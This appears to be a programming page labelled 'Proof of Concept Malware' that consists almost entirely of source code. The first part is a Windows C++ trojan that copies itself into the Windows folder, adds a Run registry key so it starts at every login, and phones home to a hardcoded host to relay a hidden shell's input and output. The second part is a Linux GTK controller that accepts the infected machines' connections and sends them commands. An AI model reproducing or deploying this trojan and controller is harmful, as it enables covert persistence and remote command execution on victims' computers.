System Programming

Proof of Concept Malware

Trojan Horse :   Creates a shell and phone home to redirect input and output.

// trojano.cpp : Defines the entry point for the application.
//#include “stdafx.h”
#include “trojano.h”
#include <string.h>
#include <stdio.h>#define MAX_LOADSTRING 100
#define TIEMPOTIMEOUT 60
#define MAXTIMEOUTS 3
#define BUFSIZE 15000
#define MAXPATH 255
#define PUERTO “3200”
#define DIRSERVIDOR “destino.domain.com\0”
#define DIRSERVIDOR2 “localhost\0”
#define DIRDESTINO “c:\\Windows\\Winhost.exe\0”
#define ADDR “127.0.0.1”
#define DELAY 500
#define BLOQUEO 3  // 0 Bloking sockets    <>0  NON bloking sockets
#define MAGICWORD “salida123\n\0”
#define ALIVE “echo hola\n\0”
#define CAMBIOTERM “changetty”
#define KEEPALIVE “keepalive123\n\0” ;HANDLE ENTRADAESTANDAR = NULL ;
HANDLE SALIDAESTANDAR = NULL ;
HANDLE entradaLectura = NULL;
HANDLE entradaEscritura = NULL;
HANDLE salidaLectura = NULL;
HANDLE salidaEscritura = NULL;
HANDLE FICHERO = NULL ;HANDLE hThread = NULL ;
HANDLE hInputWrite ;
DWORD ThreadId;
HANDLE hThread2 = NULL ;
HANDLE hInputWrite2 ;
DWORD ThreadId2;HANDLE hThread3 = NULL ;
HANDLE hInputWrite3 ;
DWORD ThreadId3;WSADATA wsaData;WORD version;
SOCKET server = INVALID_SOCKET ;
char bufferprueba[255]  ;
DWORD pruebaaescribir = 50 ;
DWORD pruebaescritos = 0 ;bool inicializar_sockets (void) ;
int conexion() ;
DWORD WINAPI crearproceso (LPVOID lpParam) ;
void crearfichero (LPCSTR fichero) ;
DWORD WINAPI PipeToSocket(LPVOID lpParam) ;
//void crearproceso (void) ;
void PipeToSalida(void) ;
DWORD WINAPI EntradaToPipe(LPVOID lpParam) ;
void enviadatos (void) ;
DWORD WINAPI SocketToPipe(LPVOID lpParam) ;
int encuentracadena (char *cadena,char *subcadena) ;
void Presentacion() ;
void registro (char *pathdestino) ;
void copyme () ;//int _tmain (int argc, LPTSTR argv[])
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR    lpCmdLine,
int       nCmdShow)
{

SECURITY_ATTRIBUTES saAttr;
BOOL exito = false ;
char c = 0 ;

copyme () ;
//registro () ;

saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;

SALIDAESTANDAR = GetStdHandle(STD_OUTPUT_HANDLE);
ENTRADAESTANDAR = GetStdHandle(STD_INPUT_HANDLE);
if (
(SALIDAESTANDAR == INVALID_HANDLE_VALUE) ||
(ENTRADAESTANDAR == INVALID_HANDLE_VALUE)
)
ExitProcess(1);

if (! (CreatePipe(&salidaLectura, &salidaEscritura, &saAttr, 0) ))  printf (“%s”,”Error Creando el Pipe Salida”) ;

if (! (CreatePipe(&entradaLectura, &entradaEscritura, &saAttr, 0) ))  printf (“%s”,”Error Creando el Pipe Entrada”) ;

if ( ! SetHandleInformation(salidaLectura, HANDLE_FLAG_INHERIT, 0) )
printf (“Error en el set handle Information”) ;
if ( ! SetHandleInformation(entradaEscritura, HANDLE_FLAG_INHERIT, 0) )
printf (“Error en el set handle Information”) ;

hThread = CreateThread(NULL,0,crearproceso,
(LPVOID)hInputWrite,0,&ThreadId);
if (hThread == NULL) printf (“%s”,”Error al crear el Thread”) ;

while (true) {

inicializar_sockets () ;

conexion () ;

hThread2 = CreateThread(NULL,0,SocketToPipe,
(LPVOID)hInputWrite2,0,&ThreadId2);
if (hThread2 == NULL) printf (“%s”,”Error al crear el Thread EntradaToPipe”) ;

hThread3 = CreateThread(NULL,0,PipeToSocket,
(LPVOID)hInputWrite3,0,&ThreadId3);
if (hThread3 == NULL) printf (“%s”,”Error al crear el Thread EntradaToPipe”) ;

FlushFileBuffers (SALIDAESTANDAR) ;
if (WaitForSingleObject(hThread2,INFINITE) == WAIT_FAILED) printf (“%s”,”WaitForSingleObject”);

/*MessageBox(NULL, “Termina el Trhead de Receive “, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/

if (WaitForSingleObject(hThread3,INFINITE) == WAIT_FAILED) printf (“%s”,”WaitForSingleObject”);

/*MessageBox(NULL, “Termina el Trhead de Send”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/

closesocket (server) ;

} // while true

if (WaitForSingleObject(hThread,INFINITE) == WAIT_FAILED) printf (“%s”,”WaitForSingleObject”);

return 0 ;
}

bool inicializar_sockets (void) {

int error;

version = MAKEWORD( 2, 0 );

error = WSAStartup( version, &wsaData );

/* check for error */
if ( error != 0 )
{
/* error occured */
return FALSE;
}

/* check for correct version */
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
/* incorrect WinSock version */
WSACleanup();
return FALSE;
}

return TRUE ;
}

void copyme () {
char path[MAXPATH] ;
char *destino = DIRDESTINO ;
int uerror ;
char *mensajetexto ;

GetModuleFileName (NULL,path,sizeof(path)) ;

//MessageBox(NULL, path,”Path para copia”,
//            MB_ICONEXCLAMATION | MB_OK);

if   (CopyFile (path,destino,TRUE)==0)  {
uerror=GetLastError() ;
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,uerror
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPSTR) &mensajetexto,0,NULL) ;
/*MessageBox(NULL, mensajetexto, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/

}

//SetFileAttributes (destino,FILE_ATTRIBUTE_HIDDEN) ;

/*MessageBox(NULL, destino, “Dir de destino al final de copia”,
MB_ICONEXCLAMATION | MB_OK);*/

registro (destino) ;

}

void registro (char *pathdestino) {

HKEY hkey;

TCHAR buff[MAXPATH] =  “AAAAAAAAAAAAAAAAAAA” ;
int len =0 ;
memset (buff,0,sizeof(buff)) ;

if (pathdestino==NULL) {
len=sizeof (buff) ;
GetCurrentDirectory(len, buff);
}
else {

strcpy_s (buff,MAXPATH,pathdestino) ;

}

/*MessageBox(NULL, buff, “Buf al comienzo”,
MB_ICONEXCLAMATION | MB_OK);*/

/*len=strlen (buff) ;
if(len > 3)
strcat_s(buff,sizeof(buff) ,”\\winhost.exe\0″);
else
strcat_s(buff,sizeof(buff),”winhost.exe\0″);
*/

/*MessageBox(NULL, buff, “Dir de destino Regedit”,
MB_ICONEXCLAMATION | MB_OK);*/

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, 0, KEY_SET_VALUE, &hkey)!=ERROR_SUCCESS) {

MessageBox(NULL, “Error abriendo la clave”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);

}

if (RegSetValueEx (hkey, “winhost.exe”, 0, REG_SZ, (LPBYTE) buff, strlen(buff) + 1)!=ERROR_SUCCESS) {

MessageBox(NULL, “Error Estableciendo la clave”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);

}

if (RegCloseKey(hkey) !=ERROR_SUCCESS  )    {
/*MessageBox(NULL, “Error Cerrando”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/

}

}

int conexion() {
int iResult= 0,resultado=0 ;
int uerror= 0 ;
int flag=0 ;
u_long iMode = BLOQUEO;
fd_set regselect ;
timeval tiempo ;
struct addrinfo *result = NULL,
*ptr = NULL,
*ptr2 = NULL,
*result2 = NULL,
hints;
struct sockaddr_in  *sockaddr_ipv4;

int recvbuflen = BUFSIZE ;
char *sendbuf = “this is a test\0”;
LPVOID mensajetexto  = NULL ;

ZeroMemory( &hints, sizeof(hints) );
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags |= AI_CANONNAME ;

// Resolve the server address and port
iResult = getaddrinfo(DIRSERVIDOR, PUERTO, &hints, &result);
sockaddr_ipv4 = (struct sockaddr_in *) result->ai_addr;
ptr=result;

getaddrinfo(DIRSERVIDOR2, PUERTO, &hints, &result2);
sockaddr_ipv4 = (struct sockaddr_in *) result2->ai_addr;
ptr2=result2;

// Connect to server.
server = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);

if (server == INVALID_SOCKET) {
//   printf(“Error at socket(): %ld\n”, WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}

resultado = ioctlsocket(server, FIONBIO, &iMode);
//if (resultado != NO_ERROR) MessageBox(NULL,(LPCSTR) mensajetexto, “Error Estableciendo opciones de los sockets”,MB_ICONEXCLAMATION | MB_OK);

iResult=0 ;
regselect.fd_count=1 ;
regselect.fd_array[0]=server ;
tiempo.tv_sec=TIEMPOTIMEOUT ;
tiempo.tv_usec=0 ;

while (iResult==0) {
connect( server, ptr->ai_addr, (int)ptr->ai_addrlen);
//if (flag==0) { connect( server, ptr->ai_addr, (int)ptr->ai_addrlen); flag=1 ; }
//if (flag==1) { connect( server, ptr2->ai_addr, (int)ptr2->ai_addrlen); flag=0 ; }

iResult = select (1,NULL,&regselect,NULL,&tiempo) ;

/*if (iResult == SOCKET_ERROR) {
printf (“%s”,”Error en el connect\n\n”) ;
uerror=WSAGetLastError() ;
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,uerror
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPSTR) &mensajetexto,0,NULL) ;

MessageBox(NULL,(LPCSTR) mensajetexto, “Error en conexion”,
MB_ICONEXCLAMATION | MB_OK);

}*/
Sleep (DELAY) ;

}

freeaddrinfo(result);
if (server == INVALID_SOCKET) {
printf(“Unable to connect to server!\n”);
WSACleanup();
return 1;
}

return 1 ;

}

void PipeToSalida(void)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;

for (;;)
{
bSuccess = ReadFile(salidaLectura, chBuf, BUFSIZE, &dwRead, NULL);
if ( ! bSuccess || dwRead == 0 ) break;

bSuccess = WriteFile(SALIDAESTANDAR, chBuf, dwRead, &dwWritten, NULL);
if ( ! bSuccess ) break;
}

// Close the pipe handle so the child process stops reading.

if ( ! CloseHandle(salidaLectura) )
printf (“%s”,”Error en el cierre del Pipe de Escritura”) ;
}

int encuentracadena (char *cadena,char *subcadena) {
char subc[BUFSIZE] ;
char cad[BUFSIZE];
char *tok = NULL ;

memset (subc,0,BUFSIZE-1) ;
memset (cad,0,BUFSIZE-1) ;
strcpy_s (cad,BUFSIZE,cadena) ;
strcpy_s (subc,BUFSIZE,subcadena) ;

tok = strtok (cad,” “) ;
while (tok != NULL) {

if ( strcmp (tok,subcadena) == 0 )  {
//MessageBox(NULL, “Cadena encontrada”,”Info”,MB_ICONEXCLAMATION | MB_OK);

return 0 ;
}

tok = strtok (NULL,” “) ;

}
return -1 ;

}

DWORD WINAPI PipeToSocket(LPVOID lpParam)
{
DWORD dwRead=0, dwWritten=0;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;
char *s1 = MAGICWORD ;
char *aliv = ALIVE ;
fd_set descrip ;
timeval tiempo ;
int timeouts=0 ;
tiempo.tv_sec=TIEMPOTIMEOUT ;
tiempo.tv_usec=0 ;
descrip.fd_count=1 ;
descrip.fd_array[0] = server ;

memset (chBuf,’\0′,sizeof(chBuf) ) ;
for (;;)
{
if (timeouts>=MAXTIMEOUTS) {
//MessageBox(NULL, “MaxTimeouts! send”, “Error!”,MB_ICONEXCLAMATION | MB_OK);
break ; }

if (select (1,NULL,&descrip,NULL,&tiempo)<=0) {

timeouts++ ;

} else {

bSuccess = ReadFile(salidaLectura, chBuf, BUFSIZE, &dwRead, NULL);
if ( ! bSuccess || dwRead == 0 ) break;

if ( encuentracadena (chBuf,s1)== 0   ) break ;

dwWritten = send(server, chBuf, (int) strlen(chBuf), 0);

if ( dwWritten <= 0 ) {

/*    MessageBox(NULL, “Error en el Send”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
return -1 ;

}

}

memset (chBuf,’\0′,sizeof(chBuf) ) ;
}

return 1 ;
}

DWORD WINAPI EntradaToPipe(LPVOID lpParam)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
BOOL bSuccess = FALSE;
HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
for (;;)
{
bSuccess = ReadFile( ENTRADAESTANDAR, chBuf, BUFSIZE, &dwRead, NULL);
if( ! bSuccess || dwRead == 0 ) break;
bSuccess = WriteFile(entradaEscritura, chBuf,
dwRead, &dwWritten, NULL);
if (! bSuccess ) break;
}
return 1 ;
}

int eliminanodeseado (char *buffer) {
char  destino[BUFSIZE]  ;
char *comando = CAMBIOTERM ;
char *comando2 = KEEPALIVE ;
int i=0 ;

//for (i=0;i<BUFSIZE-1;i++) if ((buffer[i]==3)|| (buffer[i]==4) || (buffer[i]==26))   return 1;

strcpy_s (destino,BUFSIZE,buffer) ;

char  *ptoken = NULL ;
char  *ptoken2 = NULL ;

ptoken=strtok (destino,” “) ;

if (strcmp (ptoken,comando)==0) return 1 ;
if (strcmp (ptoken,comando2)==0) return 1;
return 0 ;

}
DWORD WINAPI SocketToPipe(LPVOID lpParam)
{
int uerror=0,timeouts=0;
char *mensajetexto ;
DWORD dwRead, dwWritten;
char chBuf[BUFSIZE];
char buffer[BUFSIZE] ;
char *sal = MAGICWORD ;
BOOL bSuccess = FALSE;
fd_set descrip ;
timeval tiempo ;
int errortimeout=0 ;
tiempo.tv_sec=TIEMPOTIMEOUT ;
tiempo.tv_usec=0 ;

descrip.fd_count=1 ;
descrip.fd_array[0] = server ;
HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

memset (chBuf,’\0′,sizeof(chBuf)) ;
for (;;)
{
if (timeouts>=MAXTIMEOUTS) {
//MessageBox(NULL, “MaxTimeouts! Receive”, “Error!”,MB_ICONEXCLAMATION | MB_OK);
break ; }

if (select (1,&descrip,NULL,NULL,&tiempo)<=0)  {

timeouts++ ;

} else {
dwRead = recv (server,chBuf,BUFSIZE,0) ;
if( dwRead==SOCKET_ERROR ) {
/*MessageBox(NULL, “Error en el Receive”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
strcpy_s (chBuf,BUFSIZE,MAGICWORD) ;
WriteFile(entradaEscritura,chBuf,sizeof (chBuf),&dwWritten,NULL);
return -1;
}
strcpy_s (buffer,BUFSIZE-1,chBuf) ;
if (eliminanodeseado(buffer)!=1) bSuccess = WriteFile(entradaEscritura,chBuf,dwRead,&dwWritten,NULL);
else { memset (chBuf,0,sizeof(chBuf)) ;  bSuccess=500 ; } ;
//    bSuccess = WriteFile(entradaEscritura,chBuf,dwRead,&dwWritten,NULL);

if (bSuccess==0)   {  uerror=GetLastError() ;
/*MessageBox(NULL, “Error en el WriteFile”, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,uerror
,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPSTR) &mensajetexto,0,NULL) ;
/*MessageBox(NULL, mensajetexto, “Error!”,
MB_ICONEXCLAMATION | MB_OK);*/
return -1 ; }

}

memset (chBuf,’\0′,sizeof(chBuf)) ;
} // for (;;)
return 1 ;
}

void crearfichero (LPCSTR fichero) {

if (fichero==NULL) return ;

FICHERO = CreateFile (fichero,GENERIC_WRITE,
0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);

if (FICHERO == INVALID_HANDLE_VALUE) {
printf (“Error en la apertura del Fihcero”) ;
printf (“%i”,GetLastError ()) ;

}
}

DWORD WINAPI crearproceso (LPVOID lpParam)
{

char path[150] ;
STARTUPINFO StartUp;
PROCESS_INFORMATION processInfo;
int dwCreationFlags = 0 ;

sprintf_s (path,”C:\\basura\\otro.exe”) ;

memset(&processInfo, 0, sizeof(processInfo));
memset(&StartUp, 0, sizeof(StartUp));
StartUp.cb = sizeof(StartUp);

StartUp.hStdError = salidaEscritura ;
StartUp.hStdOutput= salidaEscritura ;
StartUp.hStdInput = entradaLectura ;
StartUp.dwFlags |= STARTF_USESTDHANDLES;

printf (“%s\n”,”Comineza el crear proceso”) ;
dwCreationFlags |= CREATE_NO_WINDOW ;

/*    if (!CreateProcess (NULL,(LPSTR) path, NULL, NULL,TRUE, dwCreationFlags, NULL, NULL, &StartUp, &processInfo))
printf( “CreateProcess2 failed (%d)\n”, GetLastError() );
else {

WaitForSingleObject (processInfo.hProcess, INFINITE);
CloseHandle (processInfo.hProcess);
CloseHandle (processInfo.hThread);

}

printf (“%s\n”,”Finaliza el crear proceso”) ;

*/
return 1 ;

}

 

Linux GUI GTK aplication to act as a server of trojan malware.

#include <stdio.h>
#include <gtk/gtk.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define MAXCLIENTS 500
#define PUERTO 8888
#define MAXCLIENTS 500
#define TAMBUFFER 1024
#define NTHREADS 5
int SOCKETACTUAL=0 ;

enum
{
LIST_ITEM = 0,
N_COLUMNS
};

GtkWidget ventanas[MAXCLIENTS] ;

static void add_to_list(GtkWidget *list,const gchar *str,const gchar *str2,const gchar *str3,gpointer buffer,gpointer ventana) ;
static void insert_text( GtkTextBuffer *buffer,gchar *mensaje ) ;

static GtkWidget *create_text( void ) ;

gint delete_event( GtkWidget *widget,
GdkEvent  *event,
gpointer   data )
{
/* If you return FALSE in the “delete_event” signal handler,
* GTK will emit the “destroy” signal. Returning TRUE means
* you don’t want the window to be destroyed.
* This is useful for popping up ‘are you sure you want to quit?’
* type dialogs. */

g_print (“delete event occurred\n”);

/* Change TRUE to FALSE and the main window will be destroyed with
* a “delete_event”. */

return(TRUE);
}

static void entry_callback( GtkWidget *widget,
GtkWidget *entry )
{
const gchar *entry_text;
gchar findel[2] =  “\n\0” ;
gchar* cadenatotal ;
int tam=0 ;
int tam2=0 ;
entry_text = gtk_entry_get_text (GTK_ENTRY (entry));
tam=gtk_entry_get_text_length (GTK_ENTRY (entry));
printf (“El tamano de la cadena es %i \n”,tam) ;
printf (“Entry contents: sin cat %s\n”, entry_text);

cadenatotal=g_strconcat (entry_text,”\n”,NULL) ;
printf (“Contenido con el concat %s \n”,cadenatotal) ;
tam2=strlen (cadenatotal) ;
g_print (“tamaño cadena total %i \n”,tam2) ;

if (SOCKETACTUAL!=0) {

send (SOCKETACTUAL,cadenatotal,tam2,0) ;
//  send (SOCKETACTUAL,findel,2,0) ;
}

gtk_entry_set_text (GTK_ENTRY(entry),””) ;
gtk_widget_show (entry) ;

}

GtkWidget *crearventana (char *nombreventana)  {

GtkWidget *window ;

window = gtk_window_new (GTK_WINDOW_TOPLEVEL);

gtk_window_set_title (GTK_WINDOW (window), “Ventana Hija”);
//g_signal_connect (window, “destroy”,
//                      G_CALLBACK (gtk_main_quit), NULL);

g_signal_connect (window, “delete-event”,
G_CALLBACK (delete_event), NULL);

gtk_container_set_border_width (GTK_CONTAINER (window), 10);
gtk_widget_set_size_request (GTK_WIDGET (window), 550, 500);

//gtk_container_add (GTK_CONTAINER (window), texto);

return window ;

}

void
view_onRowActivated (GtkTreeView        *treeview,
GtkTreePath        *path,
GtkTreeViewColumn  *col,
gpointer            userdata)
{
GtkTreeModel *model;
GtkTreeIter   iter;
GtkWidget *window ;
GtkWidget *swindow ;
GtkTextBuffer *buffert  ;
GtkWidget *cajatexto ;
GtkWidget *list ;

int socket = 0 ;
gchar *name ;
g_print (“A row has been double-clicked!\n”);

if (userdata!=NULL)  {

g_print (“Se ha ejecutado!\n”);

model = gtk_tree_view_get_model(treeview);

gtk_tree_model_get_iter(model, &iter, path) ;

gtk_tree_model_get(model, &iter, 0 , &name, -1);

g_print (“Double-clicked row contains name %s\n”, name);
g_print (“En entero es %i \n”,atoi(name) ) ;

SOCKETACTUAL=atoi(name) ;

gtk_tree_model_get(model, &iter, 4 , &window, -1);

//    gtk_widget_show (window);
//    gtk_window_present ((GtkWindow*)window)  ;

gtk_tree_model_get(model, &iter, 3 , &buffert, -1);
cajatexto  = gtk_bin_get_child(GTK_BIN(userdata));
gtk_text_view_set_buffer ((GtkTextView *)cajatexto,buffert);

g_free(name);
}

}

anadir_conexion_interfaz (gpointer vpaned,int socket,char *adress,int port,gpointer buffer) {
GtkWidget *list;
GtkWidget *text;
GtkWidget *ScrolledWindow ;
GtkWidget *ventana ;
GtkTextBuffer *buffert ;
char direcciontotal[255] ;
char socketentexto[255] ;
char puertoentexto[255] ;
ScrolledWindow=gtk_paned_get_child1 ((GtkPaned *)vpaned) ;
text=gtk_paned_get_child2 ((GtkPaned *)vpaned) ;

list  = gtk_bin_get_child(GTK_BIN(ScrolledWindow));

printf (“Direccion %s \n”,adress) ;
fflush (stdout) ;

sprintf (direcciontotal,”Socket: %i Direccion: %s puerto %i “,socket,adress,port) ;
sprintf (socketentexto,”%i”,socket) ;
sprintf (puertoentexto,”%i”,port) ;

ventana=crearventana (“Ventana”) ;

//ventana==create_text () ;

//buffert=gtk_text_buffer_new (NULL) ;

//gtk_widget_show (ventana);

add_to_list (list,socketentexto,adress,puertoentexto,buffer,(GtkWidget *)ventana) ;

}

void anadir_buffer_interfaz (gpointer vpaned,int socket,gpointer buffer){
GtkWidget *ScrolledWindow ;
GtkWidget *list;
GtkTreeIter   iter;
GtkTreeModel *model;
gboolean valid=TRUE ;
GtkListStore *liststore ;
gchar *socket_texto ;
GtkTextBuffer *bufanadir ;
GtkTextIter ei ;

ScrolledWindow=gtk_paned_get_child1 ((GtkPaned *)vpaned) ;

list  = gtk_bin_get_child(GTK_BIN(ScrolledWindow));

model = gtk_tree_view_get_model((GtkTreeView *) list);

valid = gtk_tree_model_get_iter_first(model, &iter);

while (valid)
{

gtk_tree_model_get(model, &iter, 0 , &socket_texto,3,&bufanadir,-1);

g_print (“El socket en Texto es %s\n”, socket_texto);

if (atoi(socket_texto)==socket) {

gtk_text_buffer_get_end_iter(bufanadir, &ei);
gtk_text_buffer_insert(bufanadir, &ei, buffer, -1);

}

valid =  gtk_tree_model_iter_next(model, &iter);
}
}

recibe_conexiones (gpointer vpaned) {
char buffer[TAMBUFFER] ;
GtkTextBuffer *TextBuff ;
int i=0 ;
int s=0 ;
int activity=0 ;
int addrlen = 0 ;
int valread=0 ;
int on=1 ;
int rc=0 ;
int client_socket[MAXCLIENTS] ;
int master_socket = 0 ;
struct sockaddr_in address;
int new_socket =  0 ;
fd_set readfds;
fd_set masterfds;
//char buffer[TAMBUFFER] ;
int maxc=0 ;
int max_sd=0 ;
struct timeval  timeout;
printf (“Comineza Recibe conexiones\n”) ;
fflush (stdout) ;

FD_ZERO(&readfds);
FD_ZERO(&masterfds) ;
timeout.tv_sec  = 1 * 8;
timeout.tv_usec = 0;

for (i = 0; i < MAXCLIENTS; i++) client_socket[i] = 0;

if( (master_socket = socket(AF_INET , SOCK_STREAM , 0)) == 0)
{
perror(“socket failed”);
return -1 ;
}
max_sd=master_socket ;

rc = ioctl(master_socket, FIONBIO, (char *)&on);
if (rc < 0)
{
perror(“ioctl() failed”);
close(master_socket);
exit(-1);
}

address.sin_family = AF_INET;
address.sin_addr.s_addr = htonl(INADDR_ANY);
address.sin_port = htons( PUERTO );

if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0) { perror(“bind failed”); fflush (stderr) ; return (-1) ; }

printf (“Seguir 1\n”) ;
fflush (stdout) ;
addrlen = sizeof(address);

if (listen (master_socket,10)<0) {  perror (“Error en listen\n”) ; }
FD_SET(master_socket, &masterfds);
maxc++ ;
printf (“Añadiendo Sokcet master %i a las posicion %i \n”,master_socket,maxc) ;

puts(“Waiting for connections…”);
while(TRUE)
{

memcpy(&readfds, &masterfds, sizeof(masterfds));
//  printf (“Se ha ha hacer el select\n”) ;
fflush (stdout) ;
fflush (stdout) ;
fflush (stdout) ;
fflush (stdout) ;
fflush (stdout) ;

activity = select( max_sd + 1 , &readfds , NULL , NULL , &timeout);

if ((activity < 0) && (errno!=EINTR)) printf(“select error”);

if (FD_ISSET(master_socket, &readfds))
{
if ((new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen))<0)
{
perror(“accept”);
return (-1) ;
}
printf(“New connection , socket fd is %d , ip is : %s , port : %d \n” , new_socket , inet_ntoa(address.sin_addr) , ntohs(address.sin_port)) ;

TextBuff=gtk_text_buffer_new (NULL) ;
anadir_conexion_interfaz (vpaned,new_socket,inet_ntoa(address.sin_addr),ntohs(address.sin_port),(gpointer) TextBuff) ;

if (client_socket[maxc]==0) {
client_socket[maxc] = new_socket ;
maxc++ ;
FD_SET (new_socket,&masterfds) ;
printf (“Anadiento socket cliente %i a las pos %i”,new_socket,maxc) ;
fflush (stdout) ;

if (new_socket > max_sd) max_sd = new_socket ;

}
} else {

for (i = 0; i < maxc; i++)

{
s = client_socket[i];
// printf (“Socket %i Posicion %i”,s,i) ;

if (FD_ISSET( s , &readfds))
{
printf (“Datos en Socket cliente %i \n”,s) ;
printf (“Va a leer\n”) ;
fflush (stdout) ;
//Check if it was for closing , and also read the incoming message
if ((valread = recv(s, buffer, sizeof(buffer), 0)) == 0)
{
//Somebody disconnected , get his details and print
getpeername(s , (struct sockaddr*)&address , (socklen_t*)&addrlen);
printf(“Host disconnected , ip %s , port %d \n” , inet_ntoa(address.sin_addr) , ntohs(address.sin_port));
fflush (stdout) ;
close (s) ;

client_socket[i] = 0;
} else
{ printf (“Se ha recibido algo\n”) ;
printf (“%s”,buffer) ;
fflush (stdout) ;
//añadir buffer a interfa
anadir_buffer_interfaz (vpaned,s,buffer) ;

memset (buffer,0,sizeof(buffer)) ;

}

}

}

}

}  // Del While TRUE

return 0 ;

}

/* Create the list of “messages” */
static void
add_to_list(GtkWidget *list,const gchar *str,const gchar *str2,const gchar *str3,gpointer buffer,gpointer ventana)
{
GtkListStore *store;
GtkTreeIter iter;

store = GTK_LIST_STORE(gtk_tree_view_get_model
(GTK_TREE_VIEW(list)));

gtk_list_store_append(store, &iter);
gtk_list_store_set(store, &iter, 0, str,1,str2,2,str3,3,buffer,4,ventana,-1);

}

static void
init_list(GtkWidget *list)
{

GtkCellRenderer *renderer;
GtkTreeViewColumn *column;
GtkListStore *store;

renderer = gtk_cell_renderer_text_new();
column = gtk_tree_view_column_new_with_attributes(“List Items”,
renderer, “text”, LIST_ITEM, NULL);
gtk_tree_view_append_column(GTK_TREE_VIEW(list), column);

store = gtk_list_store_new(N_COLUMNS, G_TYPE_STRING);

gtk_tree_view_set_model(GTK_TREE_VIEW(list),
GTK_TREE_MODEL(store));

g_object_unref(store);
}

static GtkWidget *crear_lista_arbol (void) {
GtkWidget *tree ;
GtkWidget *vbox ;
GtkWidget *label;

tree = gtk_tree_view_new();

gtk_tree_view_set_headers_visible(GTK_TREE_VIEW(tree), FALSE);

init_list(tree);

return tree ;

}

static GtkWidget *create_list( GtkWidget *swindow)
{

GtkWidget *scrolled_window;
GtkWidget *tree_view;
GtkListStore *model;
GtkTreeIter iter;
GtkCellRenderer *cell,*cell2,*cell3;
GtkTreeViewColumn *column;
GtkTreeViewColumn *column2;
GtkTreeViewColumn *column3;

int i;

/* Create a new scrolled window, with scrollbars only if needed */
scrolled_window = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window),
GTK_POLICY_AUTOMATIC,
GTK_POLICY_AUTOMATIC);

model = gtk_list_store_new (5, G_TYPE_STRING,G_TYPE_STRING,G_TYPE_STRING,G_TYPE_POINTER,G_TYPE_POINTER);
tree_view = gtk_tree_view_new ();

g_signal_connect(tree_view, “row-activated”, (GCallback) view_onRowActivated,swindow );

gtk_container_add (GTK_CONTAINER (scrolled_window), tree_view);
gtk_tree_view_set_model (GTK_TREE_VIEW (tree_view), GTK_TREE_MODEL (model));
gtk_widget_show (tree_view);

/* Add some messages to the window */
cell = gtk_cell_renderer_text_new () ;
cell2 = gtk_cell_renderer_text_new ();
cell3 = gtk_cell_renderer_text_new ();

column = gtk_tree_view_column_new_with_attributes (“Socket”,
cell,
“text”, 0,
NULL);

column2 = gtk_tree_view_column_new_with_attributes (“Adress”,
cell2,
“text”, 1,
NULL);

column3 = gtk_tree_view_column_new_with_attributes (“Port”,
cell3,
“text”, 2,
NULL);

gchar *msg = g_strdup_printf (“Socket\n”);
gchar *msg2 =  g_strdup_printf (“Adress\n”);
gchar *msg3 =  g_strdup_printf (“Port\n”);

gtk_list_store_append (GTK_LIST_STORE (model), &iter);

gtk_list_store_set (GTK_LIST_STORE (model),&iter,0, msg,1,msg2,2,msg3,3,NULL,4,NULL,-1);

g_free (msg);
g_free (msg2) ;
g_free (msg3) ;

gtk_tree_view_append_column (GTK_TREE_VIEW (tree_view),
GTK_TREE_VIEW_COLUMN (column));

gtk_tree_view_append_column (GTK_TREE_VIEW (tree_view),
GTK_TREE_VIEW_COLUMN (column2));

gtk_tree_view_append_column (GTK_TREE_VIEW (tree_view),
GTK_TREE_VIEW_COLUMN (column3));

return scrolled_window;
}

/* Add some text to our text widget – this is a callback that is invoked
when our window is realized. We could also force our window to be
realized with gtk_widget_realize, but it would have to be part of
a hierarchy first */

void Gtktext_Append(GtkWidget *textview, gchar *text)
{
GtkTextBuffer *tbuffer;
GtkTextIter ei;

tbuffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview));
gtk_text_buffer_get_end_iter(tbuffer, &ei);
gtk_text_buffer_insert(tbuffer, &ei, text, -1);
}

